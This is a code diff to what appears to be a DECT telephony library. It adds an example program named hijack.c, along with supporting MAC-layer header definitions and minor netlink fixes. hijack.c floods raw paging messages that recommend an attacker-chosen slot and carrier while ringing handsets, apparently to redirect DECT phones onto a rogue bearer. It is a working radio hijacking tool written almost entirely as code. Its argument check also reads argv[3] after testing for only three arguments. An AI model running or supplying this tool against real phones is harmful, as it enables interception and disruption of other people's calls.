diff --git a/example/Makefile.in b/example/Makefile.in index 5f45846..2964bd9 100644 --- a/example/Makefile.in +++ b/example/Makefile.in @@ -1,5 +1,5 @@ LDFLAGS += -Wl,-rpath $(PWD)/src -Lsrc -ldect -PROGRAMS += test mm discover +PROGRAMS += test mm discover hijack test-destdir := usr/bin @@ -12,3 +12,6 @@ mm-obj += mm.o discover-obj += event_ops.o discover-obj += discover.o + +hijack-obj += event_ops.o +hijack-obj += hijack.o diff --git a/example/hijack.c b/example/hijack.c new file mode 100644 index 0000000..c3e4524 --- /dev/null +++ b/example/hijack.c @@ -0,0 +1,159 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include "common.h" +#include "mac.h" +#include + +#define BITS_PER_BYTE 8 + +static unsigned char buf[DECT_A_FIELD_SIZE]; + +static void pexit(const char *str) +{ + perror(str); + exit(1); +} + +static ssize_t dect_raw_tx(int fd, uint8_t slot, unsigned char *buf, size_t len) +{ + struct iovec iov; + struct msghdr msg; + struct dect_raw_auxdata *aux; + struct cmsghdr *cmsg; + union { + struct cmsghdr cmsg; + char buf[CMSG_SPACE(sizeof(*aux))]; + } cmsg_buf; + + msg.msg_name = NULL; + msg.msg_namelen = 0; + msg.msg_iov = &iov; + msg.msg_iovlen = 1; + msg.msg_control = &cmsg_buf; + msg.msg_controllen = sizeof(cmsg_buf); + msg.msg_flags = 0; + + iov.iov_len = len; + iov.iov_base = buf; + + cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_len = CMSG_LEN(sizeof(*aux)); + cmsg->cmsg_level = SOL_DECT; + cmsg->cmsg_type = DECT_RAW_AUXDATA; + + aux = (void *)CMSG_DATA(cmsg); + aux->mfn = 0; + aux->frame = 0; + aux->slot = slot; + + return sendmsg(fd, &msg, 0); +} + +static void raw_sock_event(struct dect_handle *dh, struct dect_fd *dfd, + uint32_t events) +{ + uint8_t slot = (unsigned long)dfd->data; + unsigned int i; + + for (i = 0; ; i++) { + printf("\rqueueing bearer information messages: %u", i); + + if (dect_raw_tx(dfd->fd, slot, buf, sizeof(buf)) < 0) { + if (errno == EAGAIN) + break; + pexit("raw_tx"); + } + } + printf("\n"); +} + +static void dect_build_msg(unsigned char *buf, uint8_t sn, uint8_t cn) +{ + unsigned int i; + uint64_t t; + + t = DECT_PT_SHORT_PAGE; + t |= DECT_PT_IT_RECOMMENDED_OTHER_BEARER; + t |= (uint64_t)sn << DECT_PT_BEARER_SN_SHIFT; + t |= (uint64_t)cn << DECT_PT_BEARER_CN_SHIFT; + + memset(buf, 0, sizeof(buf)); + for (i = 0; i < DECT_T_FIELD_SIZE; i++) + buf[i + 1] = t >> ((sizeof(t) - i - 1) * BITS_PER_BYTE); + buf[DECT_HDR_TA_OFF] |= DECT_TI_PT; + buf[DECT_HDR_BA_OFF] |= DECT_BI_NONE; +} + +static void page_timer(struct dect_handle *dh, struct dect_timer *timer) +{ + dect_lce_group_ring(dh, 0); + dect_start_timer(dh, timer, 1); +} + +static struct dect_ops ops; + +int main(int argc, char **argv) +{ + struct sockaddr_dect da; + struct dect_fd *dfd; + struct dect_timer *timer; + uint8_t slot; + + if (argc < 3) { + printf("Usage: %s rx-slot tx-slot tx-carrier\n", argv[0]); + exit(1); + } + slot = atoi(argv[1]); + dect_build_msg(buf, atoi(argv[2]), atoi(argv[3])); + + if (dect_event_ops_init(&ops) < 0) + pexit("dect_event_ops_init"); + + dh = dect_alloc_handle(&ops); + if (dh == NULL) + pexit("dect_alloc_handle"); + + if (dect_init(dh) < 0) + pexit("dect_init"); + + dfd = dect_socket(dh, SOCK_RAW, 0); + if (dfd == NULL) + pexit("dect_socket"); + + memset(&da, 0, sizeof(da)); + da.dect_family = AF_DECT; + da.dect_index = 1; + + if (bind(dfd->fd, (struct sockaddr *)&da, sizeof(da)) < 0) + pexit("bind"); + + dect_setup_fd(dfd, raw_sock_event, (void *)(unsigned long)slot); + if (dect_register_fd(dh, dfd, DECT_FD_WRITE) < 0) + pexit("dect_register_fd"); + + timer = dect_alloc_timer(dh); + if (timer == NULL) + pexit("dect_alloc_timer"); + dect_setup_timer(timer, page_timer, NULL); + dect_start_timer(dh, timer, 1); + + dect_event_loop(); + + dect_stop_timer(dh, timer); + dect_unregister_fd(dh, dfd); + dect_close_handle(dh); + dect_event_ops_cleanup(); + return 0; +} diff --git a/example/mac.h b/example/mac.h new file mode 100644 index 0000000..5e7365e --- /dev/null +++ b/example/mac.h @@ -0,0 +1,201 @@ +#ifndef _MAC_H + +/* + * A-Field + */ + +#define DECT_A_FIELD_SIZE 8 + +#define DECT_RA_FIELD_SIZE 2 +#define DECT_RA_FIELD_OFF 6 + +/* + * Header field + */ + +#define DECT_HDR_FIELD_SIZE 1 +#define DECT_HDR_FIELD_OFF 0 + +#define DECT_HDR_TA_OFF 0 +#define DECT_HDR_TA_MASK 0xe0 +#define DECT_HDR_TA_SHIFT 5 + +#define DECT_HDR_Q1_OFF 0 +#define DECT_HDR_Q1_FLAG 0x10 + +#define DECT_HDR_BA_OFF 0 +#define DECT_HDR_BA_MASK 0x0e +#define DECT_HDR_BA_SHIFT 1 + +#define DECT_HDR_Q2_OFF 0 +#define DECT_HDR_Q2_FLAG 0x01 + + +/* + * T-Field + */ + +#define DECT_T_FIELD_OFF 1 +#define DECT_T_FIELD_SIZE 5 + +/** + * dect_tail_identification - MAC layer T-Field identification + * + * @DECT_TI_CT_PKT_0: C_T data packet number 0 + * @DECT_TI_CT_PKT_1: C_T data packet number 1 + * @DECT_TI_NT_CL: Identities information on connectionless bearer + * @DECT_TI_NT: Identities information + * @DECT_TI_QT: Multiframe synchronisation und system information + * @DECT_TI_RESERVED: Reserved + * @DECT_TI_MT: MAC layer control + * @DECT_TI_PT: Paging tail (RFP only) + * @DECT_TI_MT_PKT_0: MAC layer control (first PP transmission, PP only) + */ +enum dect_tail_identifications { + DECT_TI_CT_PKT_0 = 0x0 << DECT_HDR_TA_SHIFT, + DECT_TI_CT_PKT_1 = 0x1 << DECT_HDR_TA_SHIFT, + DECT_TI_NT_CL = 0x2 << DECT_HDR_TA_SHIFT, + DECT_TI_NT = 0x3 << DECT_HDR_TA_SHIFT, + DECT_TI_QT = 0x4 << DECT_HDR_TA_SHIFT, + DECT_TI_RESERVED = 0x5 << DECT_HDR_TA_SHIFT, + DECT_TI_MT = 0x6 << DECT_HDR_TA_SHIFT, + DECT_TI_PT = 0x7 << DECT_HDR_TA_SHIFT, + DECT_TI_MT_PKT_0 = 0x7 << DECT_HDR_TA_SHIFT, +}; + +/* + * Paging Tail (P-channel) + */ + +#define DECT_PT_HDR_EXTEND_FLAG 0x8000000000000000ULL + +#define DECT_PT_HDR_LENGTH_MASK 0x7000000000000000ULL +#define DECT_PT_HDR_LENGTH_SHIFT 60 + +/** + * @DECT_PT_ZERO_PAGE: zero length page + * @DECT_PT_SHORT_PAGE: short page + * @DECT_PT_FULL_PAGE: full page + * @DECT_PT_MAX_RESUME_PAGE: MAC resume and control page + * @DECT_PT_LONG_PAGE: not the last 36 bits of a long page + * @DECT_PT_LONG_PAGE_FIRST: the first 36 bits of a long page + * @DECT_PT_LONG_PAGE_LAST: the last 36 bits of a long page + * @DECT_PT_LONG_PAGE_ALL: all of a long page (first and last) + * + */ +enum dect_page_lengths { + DECT_PT_ZERO_PAGE = 0x0ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_SHORT_PAGE = 0x1ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_FULL_PAGE = 0x2ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_RESUME_PAGE = 0x3ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_LONG_PAGE = 0x4ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_LONG_PAGE_FIRST = 0x5ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_LONG_PAGE_LAST = 0x6ULL << DECT_PT_HDR_LENGTH_SHIFT, + DECT_PT_LONG_PAGE_ALL = 0x7ULL << DECT_PT_HDR_LENGTH_SHIFT, +}; + +/* zero and short page B_S channel data */ +#define DECT_PT_SZP_BS_DATA_MASK 0x0fffff0000000000ULL +#define DECT_PT_SZP_BS_DATA_SHIFT 40 +#define DECT_PT_SZP_BS_DATA_SIZE 3 + +/* long and full page B_S channel data */ +#define DECT_PT_LFP_BS_DATA_MASK 0x0fffffffff000000ULL +#define DECT_PT_LFP_BS_DATA_SHIFT 24 +#define DECT_PT_LFP_BS_DATA_SIZE 5 + +/* MAC layer information */ +#define DECT_PT_INFO_TYPE_MASK 0x000000f000000000ULL +#define DECT_PT_INFO_TYPE_SHIFT 36 +#define DECT_PT_INFO_TYPE_SIZE 2 + +/** + * @DECT_PT_IT_FILL_BITS_OR_BLIND_LONG_SLOTS: fill bits/blind long slots if bit 47 set + * @DECT_PT_IT_BLIND_FULL_SLOT: blind full slot information + * @DECT_PT_IT_OTHER_BEARER: + * @DECT_PT_IT_RECOMMENDED_OTHER_BEARER: + * @DECT_PT_IT_GOOD_RFP_BEARER: + * @DECT_PT_IT_DUMMY_OR_CL_BEARER_POSITION: + * @DECT_PT_IT_RFP_IDENTITY: + * @DECT_PT_IT_ESCAPE: + * @DECT_PT_IT_DUMMY_OR_CL_BEARER_MARKER: + * @DECT_PT_IT_BEARER_HANDOVER_INFO: + * @DECT_PT_IT_RFP_STATUS: + * @DECT_PT_IT_ACTIVE_CARRIERS: + * @DECT_PT_IT_CL_BEARER_POSITION: + * @DECT_PT_IT_RECOMMENDED_POWER_LEVEL: + * @DECT_PT_IT_BLIND_DOUBLE_SLOT: + * @DECT_PT_IT_BLIND_FULL_SLOT_PACKET_MODE: + * + */ +enum dect_pt_info_types { + DECT_PT_IT_FILL_BITS_OR_BLIND_LONG_SLOTS= 0x0ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_BLIND_FULL_SLOT = 0x1ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_OTHER_BEARER = 0x2ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_RECOMMENDED_OTHER_BEARER = 0x3ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_GOOD_RFP_BEARER = 0x4ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_DUMMY_OR_CL_BEARER_POSITION = 0x5ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_RFP_IDENTITY = 0x6ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_ESCAPE = 0x7ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_DUMMY_OR_CL_BEARER_MARKER = 0x8ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_BEARER_HANDOVER_INFO = 0x9ULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_RFP_STATUS = 0xaULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_ACTIVE_CARRIERS = 0xbULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_CL_BEARER_POSITION = 0xcULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_RECOMMENDED_POWER_LEVEL = 0xdULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_BLIND_DOUBLE_SLOT = 0xeULL << DECT_PT_INFO_TYPE_SHIFT, + DECT_PT_IT_BLIND_FULL_SLOT_PACKET_MODE = 0xfULL << DECT_PT_INFO_TYPE_SHIFT, +}; + +/* blind full slot information */ +#define DECT_PT_BFS_MASK 0x0000000fff000000ULL +#define DECT_PT_BFS_SHIFT 24 + +/* Bearer description */ +#define DECT_PT_BEARER_SN_MASK 0x0000000f00000000ULL +#define DECT_PT_BEARER_SN_SHIFT 32 + +#define DECT_PT_BEARER_SP_MASK 0x00000000c0000000ULL +#define DECT_PT_BEARER_SP_SHIFT 30 + +#define DECT_PT_BEARER_CN_MASK 0x000000003f000000ULL +#define DECT_PT_BEARER_CN_SHIFT 24 + +/* RFP identity */ +#define DECT_PT_RFP_ID_MASK 0x0000000fff000000ULL +#define DECT_PT_RFP_ID_SHIFT 24 + +/* RFP status */ +#define DECT_PT_RFPS_RFP_BUSY_FLAG 0x0000000100000000ULL +#define DECT_PT_RFPS_SYS_BUSY_FLAG 0x0000000200000000ULL + +/* Active carriers */ +#define DECT_PT_ACTIVE_CARRIERS_MASK 0x0000000ffc000000ULL +#define DECT_PT_ACTIVE_CARRIERS_SHIFT 26 + +/* + * B-Field + */ + +#define DECT_B_FIELD_SIZE 40 + +/** + * dect_b_identitifications - MAC layer B-Field Identification + * + * @DECT_BI_UTYPE_0: U-Type, I_N, SI_N, SI_P or I_P packet number 0 + * @DECT_BI_UTYPE_1: U-Type, I_P error detect or I_P packet number 1 + * @DECT_BI_ETYPE_CF_0: E-Type, all C_F or CL_F, packet number 0 + * @DECT_BI_ETYPE_CF_1: E-Type, all C_F, packet number 1 + * @DECT_BI_ETYPE_MAC: E-Type, all MAC control (unnumbered) + * @DECT_BI_NONE: no B-Field + */ +enum dect_b_identifications { + DECT_BI_UTYPE_0 = 0x0 << DECT_HDR_BA_SHIFT, + DECT_BI_UTYPE_1 = 0x1 << DECT_HDR_BA_SHIFT, + DECT_BI_ETYPE_CF_0 = 0x2 << DECT_HDR_BA_SHIFT, + DECT_BI_ETYPE_CF_1 = 0x3 << DECT_HDR_BA_SHIFT, + DECT_BI_ETYPE_MAC = 0x6 << DECT_HDR_BA_SHIFT, + DECT_BI_NONE = 0x7 << DECT_HDR_BA_SHIFT, +}; + +#endif /* _MAC_H */ diff --git a/include/utils.h b/include/utils.h index 9bbd0ee..3c3d2ca 100644 --- a/include/utils.h +++ b/include/utils.h @@ -6,6 +6,9 @@ #ifndef AF_DECT #define AF_DECT 37 #endif +#ifndef SOL_DECT +#define SOL_DECT 278 +#endif #define __init __attribute__((constructor)) #define __exit __attribute__((destructor)) diff --git a/src/netlink.c b/src/netlink.c index 40b39c9..8c5eb63 100644 --- a/src/netlink.c +++ b/src/netlink.c @@ -11,6 +11,7 @@ #include #include #include +#include #include #include @@ -86,7 +87,7 @@ static int dect_netlink_get_cluster_cb(struct nl_msg *msg, void *arg) int dect_netlink_init(struct dect_handle *dh) { struct nl_dect_cluster *cl; - int err; + int err = 0; dh->nlsock = nl_socket_alloc(); if (dh->nlsock == NULL) @@ -131,6 +132,7 @@ err2: nl_close(dh->nlsock); nl_socket_free(dh->nlsock); err1: + dect_debug("dect_netlink_init: %s\n", err == 0 ? strerror(errno) : nl_geterror(err)); return -1; }